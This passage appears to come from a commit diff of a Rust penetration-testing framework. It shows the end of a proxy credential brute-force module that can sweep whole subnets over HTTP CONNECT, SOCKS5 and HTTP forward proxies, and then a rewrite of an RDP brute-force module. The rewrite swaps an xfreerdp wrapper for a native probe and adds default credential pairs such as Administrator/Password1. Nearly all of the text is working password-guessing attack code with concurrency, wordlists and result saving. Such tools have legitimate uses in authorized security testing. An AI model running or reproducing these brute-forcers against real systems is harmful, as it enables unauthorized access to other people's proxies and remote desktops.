// [0x05,0x00] can't be read as a successful auth.
if resp[0] == 0x01 && resp[1] == 0x00 {
LoginResult::Success
} else {
LoginResult::AuthFailed
}
}
/// Try HTTP forward proxy with Basic auth.
async fn try_http_forward_auth(
target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
) -> LoginResult {
let addr = format!("{}:{}", target, port);
let dur = Duration::from_millis(timeout_ms);
let mut stream = match crate::utils::network::tcp_connect(&addr, dur).await {
Ok(s) => s,
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
};
let cred = base64::engine::general_purpose::STANDARD.encode(format!("{}:{}", user, pass));
let req = format!(
"GET http://httpbin.org/ip HTTP/1.1\r\nHost: httpbin.org\r\nProxy-Authorization: Basic {}\r\nConnection: close\r\n\r\n",
cred
);
match tokio::time::timeout(dur, stream.write_all(req.as_bytes())).await {
Ok(Ok(())) => {}
Ok(Err(e)) => {
tracing::trace!("HTTP proxy request write failed: {e}");
return LoginResult::Error { message: "Write failed".to_string(), retryable: true };
}
Err(e) => {
tracing::trace!("HTTP proxy request write timed out: {e}");
return LoginResult::Error { message: "Write timeout".to_string(), retryable: true };
}
}
let mut buf = [0u8; 2048];
let n = match tokio::time::timeout(dur, stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => n,
_ => return LoginResult::Error { message: "Read timeout".to_string(), retryable: true },
};
let resp = String::from_utf8_lossy(&buf[..n]);
// Status code from the status line, not a substring scan (a `200` in a header
// value would false-positive). httpbin echoes the client IP in an "origin"
// field, so a genuine forward succeeds with 2xx + that marker.
let code = http_status_code(&resp);
if matches!(code, Some(c) if (200..=299).contains(&c)) && resp.contains("origin") {
LoginResult::Success
} else if matches!(code, Some(407) | Some(401) | Some(403)) {
LoginResult::AuthFailed
} else {
LoginResult::Error { message: format!("HTTP {}", resp.lines().next().unwrap_or("")), retryable: false }
}
}
/// Dispatch to the right auth function based on proxy type.
async fn try_proxy_auth(
proxy_type: ProxyType, target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
) -> LoginResult {
match proxy_type {
ProxyType::HttpConnect => try_http_connect_auth(target, port, user, pass, timeout_ms).await,
ProxyType::Socks5 => try_socks5_auth(target, port, user, pass, timeout_ms).await,
ProxyType::HttpForward => try_http_forward_auth(target, port, user, pass, timeout_ms).await,
}
}
// ============================================================================
// MAIN
// ============================================================================
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!("{}", "+=================================================================+".cyan());
crate::mprintln!("{}", "| Proxy Authentication Bruteforce |".cyan());
crate::mprintln!("{}", "| HTTP CONNECT (Basic) | SOCKS5 (RFC 1929) | HTTP Forward |".cyan());
crate::mprintln!("{}", "+=================================================================+".cyan());
crate::mprintln!();
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx
.target
.as_single()
.context("proxy_bruteforce requires a single-host target")?;
// --- Subnet scan ---
if is_subnet_target(target) {
let proxy_type_input = cfg_prompt_default("proxy_type", "Proxy type (http_connect/socks5/http_forward)", "http_connect").await?;
let proxy_type = ProxyType::from_str(&proxy_type_input);
let port = cfg_prompt_port("port", &format!("{} port", proxy_type.name()), proxy_type.default_port()).await?;
let users_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let pass_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = if wordlist::should_stream(&users_file) {
let mut lines = Vec::new();
let mut reader = wordlist::BatchedReader::open(&users_file).await?;
while let Some(batch) = reader.next_batch().await? {
lines.extend(batch);
}
lines
} else {
load_lines(&users_file)?
};
let passes = if wordlist::should_stream(&pass_file) {
let mut lines = Vec::new();
let mut reader = wordlist::BatchedReader::open(&pass_file).await?;
while let Some(batch) = reader.next_batch().await? {
lines.extend(batch);
}
lines
} else {
load_lines(&pass_file)?
};
if users.is_empty() { return Err(anyhow!("Username list empty")); }
if passes.is_empty() { return Err(anyhow!("Password list empty")); }
let concurrency = cfg_prompt_int_range("concurrency", "Concurrent hosts", 50, 1, 500).await? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output file", "proxy_brute_subnet.txt").await?;
let limiter = ctx.limiter.clone();
let module_path = ctx.module_path.clone();
let hits = run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "proxy",
jitter_ms: 50,
source_module: "creds/generic/proxy_credcheck",
skip_tcp_check: false,
state_file: None,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
let limiter = limiter.clone();
let module_path = module_path.clone();
async move {
let host = ip.to_string();
limiter.acquire(&module_path, &host).await;
try_proxy_auth(proxy_type, &host, port, &user, &pass, 5000).await
}
}).await?;
let mut outcome = ModuleOutcome::ok();
for (host, user, pass) in &hits {
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Credential,
message: format!("Valid proxy credentials found: {}:{}", user, pass),
data: Some(serde_json::json!({
"username": user,
"password": pass,
"service": "proxy",
"proxy_type": format!("{:?}", proxy_type),
"port": port,
})),
});
}
return Ok(outcome);
}
// --- Single target ---
let mut outcome = ModuleOutcome::ok();
display_banner();
let proxy_type_input = cfg_prompt_default("proxy_type", "Proxy type (http_connect/socks5/http_forward)", "http_connect").await?;
let proxy_type = ProxyType::from_str(&proxy_type_input);
let normalized = normalize_target(target)?;
let port = cfg_prompt_port("port", &format!("{} port", proxy_type.name()), proxy_type.default_port()).await?;
let users_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let pass_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let usernames = if wordlist::should_stream(&users_file) {
let mut lines = Vec::new();
let mut reader = wordlist::BatchedReader::open(&users_file).await?;
while let Some(batch) = reader.next_batch().await? {
lines.extend(batch);
}
lines
} else {
load_lines(&users_file)?
};
let passwords = if wordlist::should_stream(&pass_file) {
let mut lines = Vec::new();
let mut reader = wordlist::BatchedReader::open(&pass_file).await?;
while let Some(batch) = reader.next_batch().await? {
lines.extend(batch);
}
lines
} else {
load_lines(&pass_file)?
};
if usernames.is_empty() { return Err(anyhow!("Username list empty")); }
if passwords.is_empty() { return Err(anyhow!("Password list empty")); }
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let concurrency = cfg_prompt_int_range("concurrency", "Concurrent attempts", 10, 1, 100).await? as usize;
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid credential?", true).await?;
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
let save_path = cfg_prompt_output_file("output_file", "Output file", "proxy_brute_results.txt").await?;
let timeout_ms: u64 = cfg_prompt_default("timeout", "Timeout (ms)", "5000").await?.parse().unwrap_or(5000);
crate::mprintln!("[*] Proxy: {} on {}:{}", proxy_type.name().cyan(), normalized, port);
crate::mprintln!("[*] Combos: {}", combos.len());
crate::mprintln!();
let limiter = ctx.limiter.clone();
let module_path = ctx.module_path.clone();
let result = run_bruteforce(
&BruteforceConfig {
target: normalized,
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 0,
jitter_ms: 50,
max_retries: 2,
service_name: "proxy",
source_module: "creds/generic/proxy_credcheck",
},
combos,
move |target: String, port: u16, user: String, pass: String| {
let limiter = limiter.clone();
let module_path = module_path.clone();
async move {
limiter.acquire(&module_path, &target).await;
try_proxy_auth(proxy_type, &target, port, &user, &pass, timeout_ms).await
}
},
).await?;
result.print_found();
result.save_to_file(&save_path)?;
for (host, user, pass) in &result.found {
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Credential,
message: format!("Valid proxy credentials found: {}:{}", user, pass),
data: Some(serde_json::json!({
"username": user,
"password": pass,
"service": "proxy",
"proxy_type": format!("{:?}", proxy_type),
"port": port,
})),
});
}
Ok(outcome)
}
crate::register_native_module!(crate::module::Category::Creds, "generic/proxy_bruteforce", native);
+65 -257
View File
@@ -1,270 +1,78 @@
use anyhow::Result;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
process::Command,
sync::{Mutex, Semaphore},
time::{sleep, Duration},
};
//! RDP credential probe — wraps `crate::native::rdp::try_login`.
pub async fn run(target: &str) -> Result<()> {
println!("=== RDP Brute Force Module ===");
println!("[*] Target: {}", target);
use anyhow::{Context, Result};
use crate::module::{ModuleCtx, ModuleOutcome};
use std::time::Duration;
let port: u16 = loop {
let input = prompt_default("RDP Port", "3389")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Please enter a number."),
}
};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::native::rdp::{self, RdpLoginResult, PROTO_HYBRID, PROTO_RDP, PROTO_SSL};
use crate::utils::creds_helper::{self, CredsRun};
use crate::utils::LoginResult;
let usernames_file_path = prompt_required("Username wordlist path")?;
let passwords_file_path = prompt_required("Password wordlist path")?;
const DEFAULT_PORT: u16 = 3389;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Must be greater than 0."),
}
};
const DEFAULTS: &[(&str, &str)] = &[
("Administrator", "Administrator"),
("Administrator", "Password1"),
("Administrator", ""),
("admin", "admin"),
("admin", "password"),
];
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file name", "rdp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
let addr = format_socket_address(target, port);
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file_path)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let passwords = load_lines(&passwords_file_path)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut handles = vec![];
let mut user_cycle_idx = 0;
'password_loop: for pass in passwords {
if *stop_signal.lock().await {
break 'password_loop;
}
let current_users_for_this_pass = if combo_mode {
users.clone()
} else {
let user_for_this_pass = users[user_cycle_idx % users.len()].clone();
user_cycle_idx += 1;
vec![user_for_this_pass]
};
for user in current_users_for_this_pass {
if *stop_signal.lock().await {
break 'password_loop; // Break outer loop if stopping
}
let permit = Arc::clone(&semaphore).acquire_owned().await?;
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let handle = tokio::spawn(async move {
let _permit_guard = permit; // Permit dropped when task finishes
if *stop_signal_clone.lock().await {
return;
}
match try_rdp_login(&addr_clone, &user_clone, &pass_clone).await {
Ok(true) => {
println!("[+] SUCCESS: {} -> {}:{}", addr_clone, user_clone, pass_clone);
let mut found = found_credentials_clone.lock().await;
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_on_success {
*stop_signal_clone.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] ATTEMPT: {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose, &format!("[!] ERROR for {}:{}/{}: {}", addr_clone, user_clone, pass_clone, e));
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
}
}
for handle in handles {
handle.await?; // Propagate JoinErrors if any task panicked
}
let creds = found_credentials.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials found:");
for (host_addr, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host_addr, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
match File::create(&filename) {
Ok(mut file) => {
for (host_addr, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
eprintln!("[!] Error writing to result file: {}", filename.display());
break;
}
}
println!("[+] Results saved to '{}'", filename.display());
}
Err(e) => {
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
}
}
}
}
Ok(())
}
async fn try_rdp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
let mut child = Command::new("xfreerdp")
.arg(format!("/v:{}", addr))
.arg(format!("/u:{}", user))
.arg(format!("/p:{}", pass))
.arg("/cert:ignore")
.arg("/timeout:5000")
.arg("+auth-only") // Attempt authentication without full desktop session
.arg("/log-level:OFF")
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null()) // Suppress stderr as well for cleaner output unless specific errors are parsed
.spawn()?;
let status = child.wait().await?;
Ok(status.success())
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required. Please provide a value.");
}
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "RDP Bruteforce".to_string(),
description:
"Tests RDP authentication via the X.224 → MCS → CredSSP / Standard RDP flows. \
Negotiates Hybrid (NLA) → TLS → Standard. Single-target — scheduler does fan-out."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr".to_string(),
],
disclosure_date: None,
rank: ModuleRank::Normal,
default_port: Some(3389),
}
}
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
print!("{} [{}]: ", msg, default_val);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default_val.to_string()
} else {
trimmed.to_string()
})
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context("rdp_bruteforce requires a single-host target")?;
creds_helper::run(
target,
CredsRun {
service_name: "rdp",
default_port: DEFAULT_PORT,
source_module: "creds/generic/rdp_bruteforce",
defaults: DEFAULTS,
password_only: false,
},
|host, port, user, pass, timeout| async move { probe(&host, port, &user, &pass, timeout).await },
)
.await
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let options = if default_yes { "(Y/n)" } else { "(y/N)" };
loop {
print!("{} {} : ", msg, options);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y', 'yes', 'n', or 'no'.");
}
async fn probe(host: &str, port: u16, user: &str, pass: &str, timeout: Duration) -> LoginResult {
let addr = format!("{}:{}", host, port);
// Negotiate protocols best-to-worst: NLA → TLS → Standard. The native
// helper picks whichever the server selects.
let proto = PROTO_HYBRID | PROTO_SSL | PROTO_RDP;
match rdp::try_login(&addr, user, pass, timeout, proto).await {
Ok(RdpLoginResult::Success) => LoginResult::Success,
Ok(RdpLoginResult::AuthFailed) => LoginResult::AuthFailed,
Ok(RdpLoginResult::ConnectionFailed(msg)) => LoginResult::Error {
message: msg,
retryable: true,
},
Ok(RdpLoginResult::ProtocolError(msg)) => LoginResult::Error {
message: msg,
retryable: false,
},
Err(e) => LoginResult::Error {
message: format!("rdp: {e:#}"),
retryable: true,
},
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow::anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path = Path::new(input_path_str);
let filename_component = path
.file_name()
.map(|os_str| os_str.to_string_lossy())
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str)); // Fallback to input if no filename part
let final_name = if filename_component.is_empty()
|| filename_component == "."
|| filename_component == ".."
|| filename_component.contains('/') // Ensure it's not a path segment
|| filename_component.contains('\\')
{
"rdp_brute_results.txt" // A robust default filename
} else {
filename_component.as_ref()
};
PathBuf::from(format!("./{}", final_name))
}
fn format_socket_address(ip: &str, port: u16) -> String {
let trimmed_ip = ip.trim_matches(|c| c == '[' || c == ']');
if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") { // Basic IPv6 check, avoid re-bracketing if port already there
format!("[{}]:{}", trimmed_ip, port)
} else {
format!("{}:{}", trimmed_ip, port)
}
}
crate::register_native_module!(crate::module::Category::Creds, "generic/rdp_bruteforce", native);

Some files were not shown because too many files have changed in this diff Show More